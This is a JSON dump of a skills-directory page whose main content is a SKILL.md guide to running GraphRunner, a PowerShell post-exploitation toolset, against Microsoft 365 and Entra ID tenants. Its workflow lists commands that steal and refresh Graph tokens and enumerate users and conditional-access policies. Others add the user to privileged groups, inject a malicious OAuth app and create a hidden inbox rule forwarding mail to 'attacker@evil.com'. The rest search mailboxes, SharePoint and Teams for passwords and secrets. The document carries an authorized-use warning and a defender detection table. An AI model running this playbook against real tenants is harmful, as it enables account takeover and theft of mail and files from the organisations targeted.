[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AG5WCTT4P2Q8NXWC1Z5B89":3,"skill-same:01M6AG5WCTT4P2Q8NXWC1Z5B89":104},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":59,"commitSha":60,"skillDirectory":61,"forksCount":62,"repositoryHtmlUrl":63,"repositoryHomepageUrl":64,"ownerHtmlUrl":65,"ownerBlogUrl":66,"ownerDescription":67,"updatedAt":68,"install":69,"resources":82},"01M6AG5WCTT4P2Q8NXWC1Z5B89","post-exploiting-microsoft-graph-with-graphrunner",null,"Runs GraphRunner, a PowerShell post-exploitation toolset built on the Microsoft Graph API, to perform tenant recon, establish persistence (OAuth app injection, inbox rules), escalate privilege via group manipulation, and pillage mailboxes, SharePoint, and Teams data from a foothold Graph token. Use during authorized red-team engagements against Microsoft 365\u002FEntra ID tenants once you hold a Graph token.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"microsoft","post exploiting microsoft graph with graphrunner","graph","powershell","cybersecurity","m365","oauth-abuse","graphrunner","api","account-manipulation","t1098","injection","entra id","data","post-exploitation","red-team","identity","inbox","teams","pr","2026-11-10 10:12:30",false,"---\nname: post-exploiting-microsoft-graph-with-graphrunner\ndescription: Runs GraphRunner, a PowerShell post-exploitation toolset built on\n  the Microsoft Graph API, to perform tenant recon, establish persistence (OAuth\n  app injection, inbox rules), escalate privilege via group manipulation, and pillage\n  mailboxes, SharePoint, and Teams data from a foothold Graph token. Use during\n  authorized red-team engagements against Microsoft 365\u002FEntra ID tenants once you\n  hold a Graph token.\ndomain: cybersecurity\nsubdomain: identity-access-management\ntags:\n- red-team\n- microsoft-graph\n- graphrunner\n- entra-id\n- oauth-abuse\n- account-manipulation\n- post-exploitation\n- m365\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1098\n---\n# Post-Exploiting Microsoft Graph with GraphRunner\n\n> **Authorized use only:** GraphRunner performs offensive actions against live Microsoft 365 \u002F Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.\n\n## Overview\n\nGraphRunner (Beau Bullock \u002F Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the **Microsoft Graph API**. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential\u002Ftoken theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.\n\nThe toolset is a single PowerShell module (`GraphRunner.ps1`) exposing dozens of functions grouped by purpose:\n\n- **Authentication** — `Get-GraphTokens` (device-code login), `Invoke-RefreshGraphTokens`, `Invoke-AutoTokenRefresh`, `Invoke-ImportTokens`, `Invoke-RefreshToSharePointToken`.\n- **Recon & Enumeration** — `Invoke-GraphRecon` (tenant\u002Fuser permission summary), `Invoke-DumpCAPS` (conditional-access policies), `Invoke-DumpApps` (app registrations \u002F consent grants), `Get-AzureADUsers`, `Get-SecurityGroups`, `Get-UpdatableGroups`, `Get-DynamicGroups`, `Invoke-SearchUserAttributes`, `Invoke-GraphOpenInboxFinder`, `Find-PermissiveCalendars`.\n- **Persistence** — `Invoke-InjectOAuthApp` (deploy a malicious OAuth app for consent-grant persistence), `Invoke-CreateInboxForwardingRule`.\n- **Privilege Escalation** — `Get-UpdatableGroups`, `Invoke-AddGroupMember`, `Invoke-SecurityGroupCloner`, `Invoke-InviteGuest`.\n- **Pillage \u002F Data Search** — `Invoke-SearchMailbox`, `Invoke-SearchSharePointAndOneDrive`, `Invoke-SearchTeams`, `Get-TeamsChat`, `Invoke-DriveFileDownload`.\n- **Master runner** — `Invoke-GraphRunner` runs an automated recon-and-pillage pass; `List-GraphRunnerModules` prints all modules.\n\nThis maps to MITRE ATT&CK **T1098 — Account Manipulation**: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.\n\n## When to Use\n\n- After obtaining a valid Microsoft Graph access\u002Frefresh token during an authorized M365\u002FEntra engagement.\n- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.\n- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).\n- When demonstrating privilege escalation through updatable\u002Fdynamic groups.\n- When searching mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive data to evidence impact.\n\n## Prerequisites\n\n- Written authorization and scope for the target tenant.\n- A Graph token foothold (from `Get-GraphTokens` device-code login, or imported tokens).\n- PowerShell 5.1+ or PowerShell 7 (cross-platform).\n\n```powershell\n# Clone and import the module\ngit clone https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner.git\ncd GraphRunner\nImport-Module .\\GraphRunner.ps1\n\n# List every available module\nList-GraphRunnerModules\n```\n\n## Objectives\n\n- Authenticate to Microsoft Graph and maintain tokens via refresh.\n- Enumerate tenant users, groups, CA policies, and OAuth apps.\n- Identify updatable groups and demonstrate privilege escalation.\n- Establish persistence via an injected OAuth app and\u002For inbox forwarding rule.\n- Search mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive content.\n\n## MITRE ATT&CK Mapping\n\n| ID | Tactic | Official Technique Name | Role in this skill |\n|----|--------|-------------------------|--------------------|\n| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain\u002Fescalate access |\n| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged\u002Fupdatable groups |\n| T1528 | Credential Access | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition |\n| T1087.004 | Discovery | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes` |\n| T1114.002 | Collection | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` over Graph |\n| T1606.002 | Credential Access | Forge Web Credentials: SAML\u002FOAuth | `Invoke-InjectOAuthApp` consent-grant persistence |\n\n## Workflow\n\n### Step 1: Authenticate and refresh tokens\n\n```powershell\n# Device-code login; complete the code at microsoft.com\u002Fdevicelogin\nGet-GraphTokens\n\n# Refresh the access token when it expires\nInvoke-RefreshGraphTokens\n\n# Keep tokens fresh automatically during a long operation\nInvoke-AutoTokenRefresh\n\n# Import tokens captured elsewhere (e.g., from ROADtools)\nInvoke-ImportTokens -AccessToken $at -RefreshToken $rt\n```\n\n### Step 2: Recon and enumeration\n\n```powershell\n# High-level tenant + current-user permission recon\nInvoke-GraphRecon -Tokens $tokens -PermissionEnum\n\n# Dump conditional-access policies\nInvoke-DumpCAPS -Tokens $tokens -ResolveGuids\n\n# Enumerate app registrations, service principals, and consent grants\nInvoke-DumpApps -Tokens $tokens\n\n# Enumerate all users and security groups\nGet-AzureADUsers -Tokens $tokens -OutFile users.txt\nGet-SecurityGroups -Tokens $tokens\n```\n\n### Step 3: Search user attributes for secrets\n\n```powershell\n# Hunt across all user attributes for terms like \"password\"\nInvoke-SearchUserAttributes -Tokens $tokens -SearchTerm \"password\"\n```\n\n### Step 4: Privilege escalation via updatable groups\n\n```powershell\n# Find groups the current principal can modify directly\nGet-UpdatableGroups -Tokens $tokens\n\n# Add yourself (or a controlled account) to a target group\nInvoke-AddGroupMember -Tokens $tokens -GroupId \u003Cgroup-guid> -UserId \u003Cuser-guid>\n\n# Clone a privileged security group's membership into a new group you control\nInvoke-SecurityGroupCloner -Tokens $tokens\n```\n\n### Step 5: Persistence\n\n```powershell\n# Deploy a malicious OAuth app and walk the consent-grant flow for persistence\nInvoke-InjectOAuthApp -AppName \"Demo App\" -ReplyUrl \"https:\u002F\u002Flocalhost\" -Scope \"openid profile offline_access Mail.Read\"\n\n# Create a hidden inbox forwarding rule on a target mailbox\nInvoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo \"attacker@evil.com\" -RuleName \"Sync\"\n```\n\n### Step 6: Pillage M365 data\n\n```powershell\n# Search a mailbox (or all reachable mailboxes) for sensitive terms\nInvoke-SearchMailbox -Tokens $tokens -SearchTerm \"password\" -MessageCount 100 -OutFile mail.csv\n\n# Search SharePoint and OneDrive content\nInvoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm \"secret\"\n\n# Download a discovered file\nInvoke-DriveFileDownload -Tokens $tokens -DriveItemIDs \"\u003Cdrive-id>:\u003Citem-id>\" -FileName loot.docx\n\n# Search Teams messages\nInvoke-SearchTeams -Tokens $tokens -SearchTerm \"vpn\"\n```\n\n### Step 7: Automated full pass\n\n```powershell\n# Run the orchestrated recon + pillage workflow end to end\nInvoke-GraphRunner -Tokens $tokens\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Primary Source |\n|------|---------|----------------|\n| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner |\n| GraphRunner wiki | Per-module usage guide | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner\u002Fwiki |\n| BHIS GraphRunner blog | Tool release + walkthrough | https:\u002F\u002Fwww.blackhillsinfosec.com\u002Fintroducing-graphrunner\u002F |\n| Microsoft Graph API | API reference for the underlying calls | https:\u002F\u002Flearn.microsoft.com\u002Fgraph\u002Fapi\u002Foverview |\n| ROADtools | Upstream token acquisition \u002F device-code phishing | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n\n## OPSEC and Detection Considerations\n\nGraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:\n\n| GraphRunner action | Telemetry source | What the defender sees |\n|--------------------|------------------|------------------------|\n| `Get-GraphTokens` (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device\u002FIP |\n| `Invoke-InjectOAuthApp` | Entra audit logs | \"Add application\" + \"Consent to application\" events with broad delegated scopes |\n| `Invoke-AddGroupMember` \u002F `Invoke-SecurityGroupCloner` | Entra audit logs | \"Add member to group\" on privileged\u002Frole-assignable groups |\n| `Invoke-CreateInboxForwardingRule` | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |\n| `Invoke-SearchMailbox` \u002F `Invoke-SearchSharePointAndOneDrive` | MicrosoftGraphActivityLogs | High-volume `$search` calls against `\u002Fmessages` and Drive endpoints |\n\nTo reduce noise during an authorized engagement, scope searches with `-MessageCount`, avoid role-assignable group changes unless required, and always remove injected apps with `Invoke-DeleteOAuthApp` and forwarding rules during cleanup.\n\n## Validation Criteria\n\n- [ ] Graph tokens obtained via `Get-GraphTokens` and refreshed successfully.\n- [ ] Tenant recon completed (`Invoke-GraphRecon`, `Invoke-DumpCAPS`, `Invoke-DumpApps`).\n- [ ] Users and security groups enumerated.\n- [ ] User attributes searched for embedded secrets.\n- [ ] Updatable groups identified and a controlled privilege escalation demonstrated.\n- [ ] Persistence established (OAuth app injection and\u002For inbox forwarding) where in scope.\n- [ ] Mailbox, SharePoint\u002FOneDrive, and Teams searched for sensitive data.\n- [ ] All actions, object IDs, and evidence logged for the engagement report and cleanup.\n","# Post-Exploiting Microsoft Graph with GraphRunner\n\n> **Authorized use only:** GraphRunner performs offensive actions against live Microsoft 365 \u002F Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.\n\n## Overview\n\nGraphRunner (Beau Bullock \u002F Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the **Microsoft Graph API**. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential\u002Ftoken theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.\n\nThe toolset is a single PowerShell module (`GraphRunner.ps1`) exposing dozens of functions grouped by purpose:\n\n- **Authentication** — `Get-GraphTokens` (device-code login), `Invoke-RefreshGraphTokens`, `Invoke-AutoTokenRefresh`, `Invoke-ImportTokens`, `Invoke-RefreshToSharePointToken`.\n- **Recon & Enumeration** — `Invoke-GraphRecon` (tenant\u002Fuser permission summary), `Invoke-DumpCAPS` (conditional-access policies), `Invoke-DumpApps` (app registrations \u002F consent grants), `Get-AzureADUsers`, `Get-SecurityGroups`, `Get-UpdatableGroups`, `Get-DynamicGroups`, `Invoke-SearchUserAttributes`, `Invoke-GraphOpenInboxFinder`, `Find-PermissiveCalendars`.\n- **Persistence** — `Invoke-InjectOAuthApp` (deploy a malicious OAuth app for consent-grant persistence), `Invoke-CreateInboxForwardingRule`.\n- **Privilege Escalation** — `Get-UpdatableGroups`, `Invoke-AddGroupMember`, `Invoke-SecurityGroupCloner`, `Invoke-InviteGuest`.\n- **Pillage \u002F Data Search** — `Invoke-SearchMailbox`, `Invoke-SearchSharePointAndOneDrive`, `Invoke-SearchTeams`, `Get-TeamsChat`, `Invoke-DriveFileDownload`.\n- **Master runner** — `Invoke-GraphRunner` runs an automated recon-and-pillage pass; `List-GraphRunnerModules` prints all modules.\n\nThis maps to MITRE ATT&CK **T1098 — Account Manipulation**: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.\n\n## When to Use\n\n- After obtaining a valid Microsoft Graph access\u002Frefresh token during an authorized M365\u002FEntra engagement.\n- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.\n- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).\n- When demonstrating privilege escalation through updatable\u002Fdynamic groups.\n- When searching mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive data to evidence impact.\n\n## Prerequisites\n\n- Written authorization and scope for the target tenant.\n- A Graph token foothold (from `Get-GraphTokens` device-code login, or imported tokens).\n- PowerShell 5.1+ or PowerShell 7 (cross-platform).\n\n```powershell\n# Clone and import the module\ngit clone https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner.git\ncd GraphRunner\nImport-Module .\\GraphRunner.ps1\n\n# List every available module\nList-GraphRunnerModules\n```\n\n## Objectives\n\n- Authenticate to Microsoft Graph and maintain tokens via refresh.\n- Enumerate tenant users, groups, CA policies, and OAuth apps.\n- Identify updatable groups and demonstrate privilege escalation.\n- Establish persistence via an injected OAuth app and\u002For inbox forwarding rule.\n- Search mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive content.\n\n## MITRE ATT&CK Mapping\n\n| ID | Tactic | Official Technique Name | Role in this skill |\n|----|--------|-------------------------|--------------------|\n| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain\u002Fescalate access |\n| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged\u002Fupdatable groups |\n| T1528 | Credential Access | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition |\n| T1087.004 | Discovery | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes` |\n| T1114.002 | Collection | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` over Graph |\n| T1606.002 | Credential Access | Forge Web Credentials: SAML\u002FOAuth | `Invoke-InjectOAuthApp` consent-grant persistence |\n\n## Workflow\n\n### Step 1: Authenticate and refresh tokens\n\n```powershell\n# Device-code login; complete the code at microsoft.com\u002Fdevicelogin\nGet-GraphTokens\n\n# Refresh the access token when it expires\nInvoke-RefreshGraphTokens\n\n# Keep tokens fresh automatically during a long operation\nInvoke-AutoTokenRefresh\n\n# Import tokens captured elsewhere (e.g., from ROADtools)\nInvoke-ImportTokens -AccessToken $at -RefreshToken $rt\n```\n\n### Step 2: Recon and enumeration\n\n```powershell\n# High-level tenant + current-user permission recon\nInvoke-GraphRecon -Tokens $tokens -PermissionEnum\n\n# Dump conditional-access policies\nInvoke-DumpCAPS -Tokens $tokens -ResolveGuids\n\n# Enumerate app registrations, service principals, and consent grants\nInvoke-DumpApps -Tokens $tokens\n\n# Enumerate all users and security groups\nGet-AzureADUsers -Tokens $tokens -OutFile users.txt\nGet-SecurityGroups -Tokens $tokens\n```\n\n### Step 3: Search user attributes for secrets\n\n```powershell\n# Hunt across all user attributes for terms like \"password\"\nInvoke-SearchUserAttributes -Tokens $tokens -SearchTerm \"password\"\n```\n\n### Step 4: Privilege escalation via updatable groups\n\n```powershell\n# Find groups the current principal can modify directly\nGet-UpdatableGroups -Tokens $tokens\n\n# Add yourself (or a controlled account) to a target group\nInvoke-AddGroupMember -Tokens $tokens -GroupId \u003Cgroup-guid> -UserId \u003Cuser-guid>\n\n# Clone a privileged security group's membership into a new group you control\nInvoke-SecurityGroupCloner -Tokens $tokens\n```\n\n### Step 5: Persistence\n\n```powershell\n# Deploy a malicious OAuth app and walk the consent-grant flow for persistence\nInvoke-InjectOAuthApp -AppName \"Demo App\" -ReplyUrl \"https:\u002F\u002Flocalhost\" -Scope \"openid profile offline_access Mail.Read\"\n\n# Create a hidden inbox forwarding rule on a target mailbox\nInvoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo \"attacker@evil.com\" -RuleName \"Sync\"\n```\n\n### Step 6: Pillage M365 data\n\n```powershell\n# Search a mailbox (or all reachable mailboxes) for sensitive terms\nInvoke-SearchMailbox -Tokens $tokens -SearchTerm \"password\" -MessageCount 100 -OutFile mail.csv\n\n# Search SharePoint and OneDrive content\nInvoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm \"secret\"\n\n# Download a discovered file\nInvoke-DriveFileDownload -Tokens $tokens -DriveItemIDs \"\u003Cdrive-id>:\u003Citem-id>\" -FileName loot.docx\n\n# Search Teams messages\nInvoke-SearchTeams -Tokens $tokens -SearchTerm \"vpn\"\n```\n\n### Step 7: Automated full pass\n\n```powershell\n# Run the orchestrated recon + pillage workflow end to end\nInvoke-GraphRunner -Tokens $tokens\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Primary Source |\n|------|---------|----------------|\n| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner |\n| GraphRunner wiki | Per-module usage guide | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner\u002Fwiki |\n| BHIS GraphRunner blog | Tool release + walkthrough | https:\u002F\u002Fwww.blackhillsinfosec.com\u002Fintroducing-graphrunner\u002F |\n| Microsoft Graph API | API reference for the underlying calls | https:\u002F\u002Flearn.microsoft.com\u002Fgraph\u002Fapi\u002Foverview |\n| ROADtools | Upstream token acquisition \u002F device-code phishing | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n\n## OPSEC and Detection Considerations\n\nGraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:\n\n| GraphRunner action | Telemetry source | What the defender sees |\n|--------------------|------------------|------------------------|\n| `Get-GraphTokens` (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device\u002FIP |\n| `Invoke-InjectOAuthApp` | Entra audit logs | \"Add application\" + \"Consent to application\" events with broad delegated scopes |\n| `Invoke-AddGroupMember` \u002F `Invoke-SecurityGroupCloner` | Entra audit logs | \"Add member to group\" on privileged\u002Frole-assignable groups |\n| `Invoke-CreateInboxForwardingRule` | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |\n| `Invoke-SearchMailbox` \u002F `Invoke-SearchSharePointAndOneDrive` | MicrosoftGraphActivityLogs | High-volume `$search` calls against `\u002Fmessages` and Drive endpoints |\n\nTo reduce noise during an authorized engagement, scope searches with `-MessageCount`, avoid role-assignable group changes unless required, and always remove injected apps with `Invoke-DeleteOAuthApp` and forwarding rules during cleanup.\n\n## Validation Criteria\n\n- [ ] Graph tokens obtained via `Get-GraphTokens` and refreshed successfully.\n- [ ] Tenant recon completed (`Invoke-GraphRecon`, `Invoke-DumpCAPS`, `Invoke-DumpApps`).\n- [ ] Users and security groups enumerated.\n- [ ] User attributes searched for embedded secrets.\n- [ ] Updatable groups identified and a controlled privilege escalation demonstrated.\n- [ ] Persistence established (OAuth app injection and\u002For inbox forwarding) where in scope.\n- [ ] Mailbox, SharePoint\u002FOneDrive, and Teams searched for sensitive data.\n- [ ] All actions, object IDs, and evidence logged for the engagement report and cleanup.\n",{"name":5,"tags":49,"author":52,"domain":28,"license":15,"version":53,"nist_csf":54,"subdomain":56,"description":7,"mitre_attack":57},[39,50,31,51,30,33,38,29],"microsoft-graph","entra-id","mahipal","1.0",[55],"PR.AA-05","identity-access-management",[58],"T1098","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fpost-exploiting-microsoft-graph-with-graphrunner",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street 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post-exploiting-microsoft-graph-with-graphrunner","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002FSKILL.md",true,[83,88,94,98],{"path":84,"resourceType":84,"resourceTypeDesc":85,"sizeBytes":86,"sourceHtmlUrl":87},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002FLICENSE",{"path":89,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"references\u002Fapi-reference.md","REFERENCE","参考文档",3696,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002Freferences\u002Fapi-reference.md",{"path":95,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":96,"sourceHtmlUrl":97},"references\u002Fstandards.md",1664,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002Freferences\u002Fstandards.md",{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"scripts\u002Fagent.py","SCRIPT","脚本",6393,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002Fscripts\u002Fagent.py",[105,130,154,182,207,233],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":112,"publishedAt":44},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[111],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[113,114,115,116,117,28,118,40,43,119,120,121,122,123,124,125,126,127,128,129],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":134,"categories":135,"keywords":137,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[136],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[138,126,139,140,117,141,28,43,142,143,144,145,146,147,148,149,150,151,152,153],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":155,"name":156,"nameZh":6,"description":157,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":164,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[160,163],{"categoryNo":161,"categoryName":162,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[148,165,166,167,168,28,169,170,142,171,172,173,174,175,176,177,178,179,180,181],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":189,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[188],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[190,191,192,28,193,194,195,196,197,198,199,37,200,201,202,203,145,204,205,206],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":208,"name":209,"nameZh":6,"description":210,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":211,"categories":212,"keywords":214,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results 